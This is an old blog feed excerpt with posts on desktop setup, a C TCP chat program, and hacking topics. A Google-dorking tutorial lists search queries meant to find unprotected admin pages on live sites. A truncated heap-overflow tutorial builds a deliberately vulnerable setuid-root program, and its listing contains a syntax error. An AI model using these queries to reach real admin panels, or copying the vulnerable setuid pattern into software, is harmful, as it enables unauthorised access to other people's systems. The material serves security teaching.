url='http://2.bp.blogspot.com/_nYiDaTJPOrs/R5eZOoXuxoI/AAAAAAAADZY/vuMLc-nLb24/s72-c/McAfee_idiots.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-4591278059588784298</id><published>2008-01-23T17:36:00.001+05:30</published><updated>2010-03-27T14:17:37.753+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Akka's Desktop with Avant Window Navigator</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_nYiDaTJPOrs/R5ct_4XuxnI/AAAAAAAADZQ/q7DGo4Nq11k/s1600-h/Screenshot.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_nYiDaTJPOrs/R5ct_4XuxnI/AAAAAAAADZQ/q7DGo4Nq11k/s400/Screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5158642473663121010" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;I configured Avant Window Navigator on akka's laptop. It really gives the look of Mac. (Anu and Shyam (our thalaivar) in the picture ;-)&lt;br /&gt;&lt;br /&gt;Here is the procedure:&lt;br /&gt;&lt;br /&gt;1. Add the AWN repository to /etc/apt/sources.list:&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:c"&gt;echo 'deb http://download.tuxfamily.org/syzygy42 gutsy avant-window-navigator'  |  sudo tee -a /etc/apt/sources.list&lt;br /&gt;echo 'deb-src http://download.tuxfamily.org/syzygy42 gutsy avant-window-navigator'  |  sudo tee -a /etc/apt/sources.list&lt;/pre&gt;&lt;br /&gt;2. Add the apt key&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:html"&gt;wget http://download.tuxfamily.org/syzygy42/reacocard.asc&lt;br /&gt;sudo apt-key add reacocard.asc&lt;br /&gt;rm reacocard.asc&lt;/pre&gt;&lt;br /&gt;3. Then install AWN&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:c"&gt;sudo apt-get update&lt;br /&gt;sudo apt-get install avant-window-navigator-bzr awn-core-applets-bzr&lt;/pre&gt;&lt;br /&gt;You can now start AWN from Applications-&gt;Accessories-&gt;Avant Window Navigator&lt;br /&gt;If you want AWN to start with your login session, then add it to your session. I hope you would know that. :-)&lt;br /&gt;&lt;br /&gt;If you want to configure AWN (of course, you will), then&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:c"&gt;awn-manager&lt;/pre&gt;Although AWN is working fine, it is creating duplicate windows in AWN,  for example 2 Firefox windows,  2  adobe readers, 2 package managers, etc (2 copies of what ever is running currently on my system). I have not figured out the reason yet. I will update this post once i get it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-4591278059588784298?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/4591278059588784298/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=4591278059588784298&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/4591278059588784298'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/4591278059588784298'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/01/akkas-desktop-with-avant-window.html' title='Akka&apos;s Desktop with Avant Window Navigator'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_nYiDaTJPOrs/R5ct_4XuxnI/AAAAAAAADZQ/q7DGo4Nq11k/s72-c/Screenshot.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-2257082733972334181</id><published>2008-01-17T20:51:00.001+05:30</published><updated>2010-03-27T14:18:26.505+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='IPC'/><title type='text'>TCP Chat</title><content type='html'>I am posting here after a very long time.&lt;br /&gt;&lt;br /&gt;This is a simple program which acts as a TCP server: &lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:c"&gt;/* File:        tcpserver.c&lt;br /&gt;* Author:      Arun - G0700688A&lt;br /&gt;* Date:        07Jan08&lt;br /&gt;* Description: This program simulates a one to one chat client, supporting not more than 1 user at a time.&lt;br /&gt;*&lt;br /&gt;* Author  Date     Description of change&lt;br /&gt;* ------  -------  ---------------------&lt;br /&gt;* Arun    07Jan08  Initial version&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;pthread.h&gt;&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;sys/socket.h&gt;&lt;br /&gt;#include &lt;netinet/in.h&gt;&lt;br /&gt;&lt;br /&gt;#define PORT 8010&lt;br /&gt;&lt;br /&gt;void *Func(void *client)&lt;br /&gt;{&lt;br /&gt;char buffer[256];&lt;br /&gt;int *P = (int*)client;&lt;br /&gt;&lt;br /&gt;bzero(buffer, 256);&lt;br /&gt;while (recv(*P, buffer, 255, NULL) &gt; 0)&lt;br /&gt;{&lt;br /&gt;/*&lt;br /&gt;* Read and write with a single socket, until the server is killed.&lt;br /&gt;* Need to implement this kill part with SIGINT instead of abrupt kill&lt;br /&gt;*/&lt;br /&gt;printf("Arun: %s\n", buffer);&lt;br /&gt;bzero(buffer, 256);&lt;br /&gt;printf("Me: ");&lt;br /&gt;fgets(buffer, 255, stdin);&lt;br /&gt;if (send(*P, buffer, strlen(buffer)+1, NULL) &lt; 0)&lt;br /&gt;{&lt;br /&gt;perror("Func: write error");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;bzero(buffer, 256);&lt;br /&gt;}&lt;br /&gt;close(*P);&lt;br /&gt;return ;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;/* Almost same stuff - start */&lt;br /&gt;int sockfd, port, clilen, newsockfd;&lt;br /&gt;struct sockaddr_in serv_addr, cli_addr;&lt;br /&gt;int n;&lt;br /&gt;int* C;&lt;br /&gt;&lt;br /&gt;pthread_t thread_id;&lt;br /&gt;&lt;br /&gt;if (argc &gt; 2)&lt;br /&gt;{&lt;br /&gt;fprintf(stderr,"Usage: %s [port to listen]\n",argv[0]);&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sockfd = socket(AF_INET, SOCK_STREAM, 0);&lt;br /&gt;if (sockfd &lt; 0)&lt;br /&gt;{&lt;br /&gt;perror("main: socket error");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;bzero((char *) &amp;serv_addr, sizeof(serv_addr));&lt;br /&gt;serv_addr.sin_family = AF_INET;&lt;br /&gt;serv_addr.sin_addr.s_addr = INADDR_ANY;&lt;br /&gt;&lt;br /&gt;if (argc == 1)&lt;br /&gt;serv_addr.sin_port = htons(PORT);&lt;br /&gt;else&lt;br /&gt;port = atoi(argv[1]);&lt;br /&gt;serv_addr.sin_port = htons(port);&lt;br /&gt;&lt;br /&gt;if (bind(sockfd, (struct sockaddr *) &amp;serv_addr, sizeof(serv_addr)) &lt; 0)&lt;br /&gt;{&lt;br /&gt;perror("main: bind error");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;listen(sockfd,5);&lt;br /&gt;clilen = sizeof(cli_addr);&lt;br /&gt;newsockfd = accept(sockfd, (struct sockaddr *) &amp;cli_addr, &amp;clilen);&lt;br /&gt;C = &amp;newsockfd;&lt;br /&gt;&lt;br /&gt;if (*C &lt; 0)&lt;br /&gt;{&lt;br /&gt;perror("main: accept error");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (pthread_create(&amp;thread_id, NULL, Func, (void*)C) &lt; 0)&lt;br /&gt;{&lt;br /&gt;perror("main: thread creation error");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;close(sockfd); /* I don't want to listen to more than 1 client */&lt;br /&gt;/* Almost same stuff - end */&lt;br /&gt;&lt;br /&gt;pthread_join(thread_id, NULL);&lt;br /&gt;&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;Here is the client: &lt;pre type="syntaxhighlighter" class="brush:c"&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;sys/socket.h&gt;&lt;br /&gt;#include &lt;netinet/in.h&gt;&lt;br /&gt;#include &lt;netdb.h&gt;&lt;br /&gt;#include &lt;fcntl.h&gt;&lt;br /&gt;#include &lt;signal.h&gt;&lt;br /&gt;&lt;br /&gt;void error(char *msg)&lt;br /&gt;{&lt;br /&gt;perror(msg);&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int sigflag;&lt;br /&gt;&lt;br /&gt;int sigio_fun()&lt;br /&gt;{&lt;br /&gt;//    printf("Handling SIGIO\n");&lt;br /&gt;sigflag = 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void sigint()&lt;br /&gt;{&lt;br /&gt;signal(SIGINT,sigint);&lt;br /&gt;printf("SIGINT Received. I will exit now\n");&lt;br /&gt;//exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;int sockfd, portno, n;&lt;br /&gt;struct sockaddr_in serv_addr;&lt;br /&gt;struct hostent *server;&lt;br /&gt;char buffer[256];&lt;br /&gt;&lt;br /&gt;if (argc &lt; 3)&lt;br /&gt;{&lt;br /&gt;fprintf(stderr,"usage %s hostname port\n", argv[0]);&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;portno = atoi(argv[2]);&lt;br /&gt;sockfd = socket(AF_INET, SOCK_STREAM, 0);&lt;br /&gt;&lt;br /&gt;if (sockfd &lt; 0)&lt;br /&gt;error("main: socket error");&lt;br /&gt;server = gethostbyname(argv[1]);&lt;br /&gt;&lt;br /&gt;if (server == NULL)&lt;br /&gt;{&lt;br /&gt;fprintf(stderr,"Error: no such host\n");&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;bzero((char *) &amp;serv_addr, sizeof(serv_addr));&lt;br /&gt;serv_addr.sin_family = AF_INET;&lt;br /&gt;bcopy((char *)server-&gt;h_addr, (char *)&amp;serv_addr.sin_addr.s_addr, server-&gt;h_length);&lt;br /&gt;&lt;br /&gt;serv_addr.sin_port = htons(portno);&lt;br /&gt;&lt;br /&gt;if (connect(sockfd, (struct sockaddr *)&amp;serv_addr, sizeof(serv_addr)) &lt; 0)&lt;br /&gt;error("main: connect error");&lt;br /&gt;&lt;br /&gt;signal(SIGIO, (void *)sigio_fun);&lt;br /&gt;signal(SIGINT, (void *)sigint);&lt;br /&gt;&lt;br /&gt;if (fcntl(sockfd, F_SETOWN, getpid()) &lt; 0)&lt;br /&gt;error("main: F_SETOWN error");&lt;br /&gt;if (fcntl(sockfd, F_SETFL, FASYNC) &lt; 0)&lt;br /&gt;error("main: F_SETFL error");&lt;br /&gt;&lt;br /&gt;#ifdef NORMAL&lt;br /&gt;printf("Arun: ");&lt;br /&gt;bzero(buffer, 256);&lt;br /&gt;fgets(buffer, 255, stdin);&lt;br /&gt;send(sockfd, buffer, strlen(buffer), NULL);&lt;br /&gt;&lt;br /&gt;bzero(buffer, 256);&lt;br /&gt;while (recv(sockfd, buffer, 255, NULL) &gt; 0)&lt;br /&gt;{&lt;br /&gt;printf("Computer: %s\n", buffer);&lt;br /&gt;printf("Arun: ");&lt;br /&gt;bzero(buffer, 256);&lt;br /&gt;fgets(buffer, 255, stdin);&lt;br /&gt;if (send(sockfd, buffer, strlen(buffer), NULL) &lt; 0)&lt;br /&gt;{&lt;br /&gt;perror("main: write error");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;bzero(buffer, 256);&lt;br /&gt;}&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;#ifdef SIGNAL&lt;br /&gt;while (1)&lt;br /&gt;{&lt;br /&gt;printf("Arun: ");&lt;br /&gt;bzero(buffer, 256);&lt;br /&gt;fgets(buffer, 255, stdin);&lt;br /&gt;n = send(sockfd, buffer, strlen(buffer), NULL);&lt;br /&gt;if (n &lt; 0)&lt;br /&gt;error("main: write error");&lt;br /&gt;&lt;br /&gt;sigblock(sigmask(SIGIO));&lt;br /&gt;while (sigflag == 0)&lt;br /&gt;sigpause(0); /* wait for interrupt */&lt;br /&gt;&lt;br /&gt;bzero(buffer, 256);&lt;br /&gt;n = recv(sockfd, buffer, 255, NULL);&lt;br /&gt;if (n &lt; 0)&lt;br /&gt;error("main: read error");&lt;br /&gt;&lt;br /&gt;printf("%s\n", buffer);&lt;br /&gt;sigflag = 0;&lt;br /&gt;sigsetmask(0);&lt;br /&gt;}&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;close(sockfd);&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;You need a UNIX or Linux box to build the source and run the applications. I built in on RHEL  2.4(RedHat Enterprise Linux) and on Fedora. It is working fine.While building the client, make sure you build it with -DNORMAL or -DSIGNAL flags. If not the client program will not enter into the send or receive logic.&lt;pre type="syntaxhighlighter" class="brush:c"&gt;gcc -DNORMAL cli.c -o cli&lt;br /&gt;gcc server.c -o server&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-2257082733972334181?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/2257082733972334181/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=2257082733972334181&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/2257082733972334181'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/2257082733972334181'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/01/tcp-server.html' title='TCP Chat'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-7491283211319050191</id><published>2007-04-13T15:42:00.000+05:30</published><updated>2008-02-10T19:27:08.225+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Hack'/><title type='text'>Learn it this way</title><content type='html'>Learn hacking this way. &lt;a href="http://visionofarun.googlepages.com/Hacking-Learntherealmeaning.pdf"&gt;The PDF file &lt;/a&gt;is encrypted. So, if you need the password, mail me. ;-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-7491283211319050191?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/7491283211319050191/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=7491283211319050191&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/7491283211319050191'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/7491283211319050191'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2007/04/learn-it-this-way.html' title='Learn it this way'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-2801183467606429553</id><published>2007-04-09T13:47:00.000+05:30</published><updated>2008-02-10T19:17:53.710+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Linux Keyloggers</title><content type='html'>An excellent writeup on the linux keyloggers can be found &lt;a href="http://www.phrack.org/archives/59/p59-0x17"&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-2801183467606429553?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/2801183467606429553/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=2801183467606429553&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/2801183467606429553'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/2801183467606429553'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2007/04/linux-keyloggers.html' title='Linux Keyloggers'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-4283562358382318479</id><published>2007-04-05T13:15:00.000+05:30</published><updated>2008-02-10T19:25:07.441+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>Use Google</title><content type='html'>In this tutorial I am going to cover an advanced side to google hacking… If that makes sense… I see a lot of google tutorials telling you to go for the “Index of” +htpasswd and other password files. Most of these are shadowed anyway. Well, I’m going to base this tutorial on combinations. That’s right, combinations.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Combinations &lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;You can’t Google Hack like you used to these days. A couple years ago all you had to do was search for inurl:admin.asp and you would have gotten hundreds of sites that were vulnerable. But these days that just gives you a bunch of crap, like companies trying to sell you their administrator software and such… Now you have to think of a combination of search commands and keywords to craft together to get what you want.&lt;br /&gt;&lt;br /&gt;Now lets think about this for a minute… What exactly do we want? Admin login pages? Nah… Password lists? May be but… nah… Ah! I know… Lets try for administration pages! You know, the pages that allow the administrator to edit, delete, and configure things on their website?&lt;br /&gt;&lt;br /&gt;First things first, we need a base keyword, how about :&lt;br /&gt;&lt;br /&gt;&lt;em&gt;inurl:edit&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;Not much luck. Lets try adding something to it, but what? We obviously want something that will edit a site. How about we add +intitle:admin to the search?&lt;br /&gt;&lt;br /&gt;&lt;em&gt;inurl:edit + intitle:admin&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;Hmm... Doesn't look good. Looks like just a bunch of manuals and instructions. You might find something there but doubtful, there's just to much junk there. Looks like we need to add in a couple of things. Lets look for a specific file extention. We do this with the filetype command. How about we add the command filetype:asp.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;inurl:edit + intitle:admin + filetype:asp&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;Now what we are doing is searching for only files that are asp's and have "edit" in the url and "admin" in the title. We enter this in google and we do get some administration areas, but there is still alot of demos and manuals and other junk. We also get alot of Admin login's, which aren't bad, but we want to bypass the login screen. How do we do that? Well lets add a -login -password to the search:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;inurl:edit + intitle:admin + filetype:asp -login -password&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;BINGO! This search gives you a bunch of sites that you can get admin access to. We are happy with those results, but you should try to spice things up a bit. Like adding quotes and *'s to some things:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;inurl:"*edit*" + intitle:"*admin*" + filetype:asp -login -password&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;This gives you some other intersting things as well. I think everyone knows what the quotes do, but I don't think alot of people know what the *'s do. Well, when they are added that means as long as "edit" is within ANYTHING google will show it. Like for instance:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;inurl:"*edit*"&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;Might bring up a site with the url as /frontpage_edit .asp. Get the point? This could be used to find a certain software your trying to exploit. For example:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;intext:"Powered by*"&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;The possibilities are endless!&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Conclusion&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;Well, thats that. I wrote this tutorial to once again show the power of google and at the same time show that google hacking is not dead. There is so much more to explain, so many other ways to do such things and even more! Go and explore on your own using different combinations. Look at all the poorly configured sites. &lt;strong&gt;But don't exploit them!&lt;/strong&gt; Just because you can copy and paste that search string and then find a vulnerable site and deface them or steal information does not make you some super l33t h4ck3r d00d. I almost didn't write this tutorial because I was afraid it would be easy for a dishonest person or a kid on this site to mess things up. We don't need any more kiddies defacing sites and yapping their gums off about their political views. &lt;strong&gt;If you want to be a true hacker, then contact the admin and tell him of the problem. &lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;BTW, if you guys were interested, that worm that used google to spread did a real number! Google this:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;intitle:"This site is defaced!!!" intext:"NeverEverNoSanity WebWorm generation"&lt;/em&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-4283562358382318479?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/4283562358382318479/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=4283562358382318479&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/4283562358382318479'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/4283562358382318479'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2007/04/use-google.html' title='Use Google'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-4562408748767137302</id><published>2007-04-05T12:08:00.001+05:30</published><updated>2010-03-27T14:21:34.317+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><title type='text'>Heap Overflow</title><content type='html'>This tutorial should give you a general idea of the principles of a Heap-Based Overflow with a small contrived example. At the end I will talk about defending heap-based overflows (mainly the ideas adopted in the Windows XP SP2 heap based overflow protection crap). Anyways, here it goes:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;INTRODUCTION&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;In a program we know there are 4 main memory segmentations. You have the text, or code; the data, or bss; the heap; and the stack. The text is the portion of memory where the actual source code (in assembly) is located. The bss is the portion of memory where your global variables reside. The stack is that FILO structure that deals with all your temporary variables. The heap is the segmentation of memory that stores any dynamically allocated variables. So when you use that good old malloc call, you are grabbing a chunk of memory from the heap. The heap is basically a bunch of free/used doubly linked lists of various memory sizes. The heap grows from lower memory to higher memory while the stack grows from higher memory to lower memory. Unlike stack overflows, where we focus on overwriting a return address, heap-based overflows focus on overflowing a buffer that contains important variables AFTER the buffer. Sounds a little tricky (or maybe my wording just sucks) but let's look at it in code.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;BASIC Heap-Based Overflow:&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:c"&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;FILE = *filed;&lt;br /&gt;char *userinput = malloc(20);&lt;br /&gt;char *outputfile = malloc(20);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;if (argc != 2)&lt;br /&gt;{&lt;br /&gt;printf("Usage: %s &lt;string to be written to /tmp/notes&gt;\n", argv[0]);&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;strcpy(outputfile, "/tmp/notes");&lt;br /&gt;strcpy(userinput, argv[1]);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// lets check out the memory addresses of userinput and outputfile&lt;br /&gt;printf("userinput @ %p: %s\n", userinput, userinput);&lt;br /&gt;printf("outputfile @ %p: %s\n",outputfile, outputfile);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;filed = fopen(outputfile, "a");&lt;br /&gt;if(filed == NULL)&lt;br /&gt;{&lt;br /&gt;fprintf(stderr, "error opening file %s\n", outputfile);&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;fprintf(filed, "%s\n", userinput);&lt;br /&gt;fclose(filed);&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;All this program does is writes (appends) whatever the user inputs into the file /tmp/notes. Notice that when we allocated the memory, we allocated the userinput first, followed by the outputfile and that outputfile was copied over first. This will play a key role in allowing the heap overflow. This program needs suid privilages (so it runs as root) in order for us to usefully exploit it.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Building the code&lt;/strong&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:c"&gt;# gcc -o heap-based-of heap-based-of.c&lt;br /&gt;# chown root.root heap-based-of&lt;br /&gt;# chmod u+s heap-based-of&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# ./heap-based-of antionline&lt;br /&gt;userinput @ 0x80498d0: antionline&lt;br /&gt;outputfile @ 0x80498e8: /tmp/notes&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#cat /tmp/notes&lt;br /&gt;antionline&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# ./heap-based-of WorkSucks&lt;br /&gt;userinput @ 0x80498d0: WorkSucks&lt;br /&gt;outputfile @ 0x80498e8: /tmp/notes&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#cat /tmp/notes&lt;br /&gt;antionline&lt;br /&gt;WorkSucks &lt;/pre&gt;&lt;br /&gt;See how the program works?? Now, this is an extremely contrived example, but it will show you how a heap-based-overflow works. Remember how I mentioned that userinput was allocated first, followed by outputfile?? This can be seen by the memory addresses displayed (heap grows from lower to higher). If we have a hex calc handy (or can do this in your head), you know the distance between userinput and outputfile on the heap is 24 bytes. OK, so we know that outputfile resides 24 bytes after userinput, and the userinput is, obviously, based upon our input. Let's test out some 23 and 24 byte arguments to verify our finding.&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:c"&gt;# ./heap-based-of 12345678901234567890123&lt;br /&gt;userinput @ 0x80498d0: 12345678901234567890123&lt;br /&gt;outputfile @ 0x80498e8: /tmp/notes&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#cat /tmp/notes&lt;br /&gt;antionline&lt;br /&gt;WorkSucks&lt;br /&gt;12345678901234567890123&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# ./heap-based-of 123456789012345678901234&lt;br /&gt;userinput @ 0x80498d0: 123456789012345678901234&lt;br /&gt;outputfile @ 0x80498e8: /tmp/notes&lt;br /&gt;error opening &lt;random&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#cat /tmp/notes&lt;br /&gt;antionline&lt;br /&gt;WorkSucks&lt;br /&gt;12345678901234567890123&lt;/pre&gt;&lt;br /&gt;Let's try to understand what happened here. userinput is a null terminated string. When we entered our 23 byte string, it actually became a 24 byte string because of the added NULL terminator. This 24 byte, NULL terminated string worked fine and was written to /tmp/notes. Now, when we tried the 24 byte string, it actually became a 25 byte string because of the NULL terminator. This caused the program to error while trying to open the file. This prooves that 23 bytes of user input is maximum the buffer can hold. When we entered 24 bytes (25 with the null terminator), the userinput buffer overflowed into the beginning of outputfile. Because we only overflowed the buffer by 1 byte (the last byte), the NULL terminator overflows into outputfile. I will attempt a poor visual. We will assume for the sake of space that outputfile is 5 